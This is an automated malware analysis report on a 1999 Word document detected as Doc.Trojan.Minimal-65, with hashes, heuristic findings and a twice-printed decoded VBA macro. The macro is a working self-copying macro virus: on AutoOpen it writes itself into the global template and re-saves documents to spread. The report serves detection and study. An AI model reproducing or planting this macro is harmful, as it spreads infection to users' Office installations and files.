Office (OLE) malware analysis — malicious · e82c5a00bece3efd

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-09-09 05:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 4263903fe1de8047a57cc86e84d87645 SHA-1: e69ee8b22956c190c1d8794cc32b235bc0467599 SHA-256: e82c5a00bece3efdac96b241d76aed1a729b32ddf0eb6abe131551e0b1c4bc98

180 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic

The sample is a legacy Word document containing VBA macros, specifically an AutoOpen macro that attempts to copy itself to the global template and a marker for an AutoClose macro. This suggests an attempt to establish persistence or execute further malicious actions when the document is closed. The ClamAV detection and heuristic firings strongly indicate malicious intent, though the specific payload or ultimate goal is not directly discernible from the provided script.

Heuristics 5

ClamAV: Doc.Trojan.Minimal-65 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Minimal-65
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 717 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	717 bytes
SHA-256: `0afddc3302915d757bb3152dfbab8d7a3fe4004beffd6588b2191e2f0c7d2376`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "aUtOOpen" Public Sub MAIN() Dim M$ On Error GoTo -1: On Error GoTo MinSize M$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10)) If M$ = "NORMAL.DOT" Then WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":aUtOOpen" WordBasic.FileSaveAs Format:=1 Else WordBasic.MacroCopy WordBasic.[FileName$]() + ":aUtOOpen", "Global:AutoClose", 1 End If MinSize: End Sub

SHA-256: 0afddc3302915d757bb3152dfbab8d7a3fe4004beffd6588b2191e2f0c7d2376

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "aUtOOpen"

Public Sub MAIN()
Dim M$
On Error GoTo -1: On Error GoTo MinSize
M$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If M$ = "NORMAL.DOT" Then
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":aUtOOpen"

WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy WordBasic.[FileName$]() + ":aUtOOpen", "Global:AutoClose", 1
End If
MinSize:
End Sub

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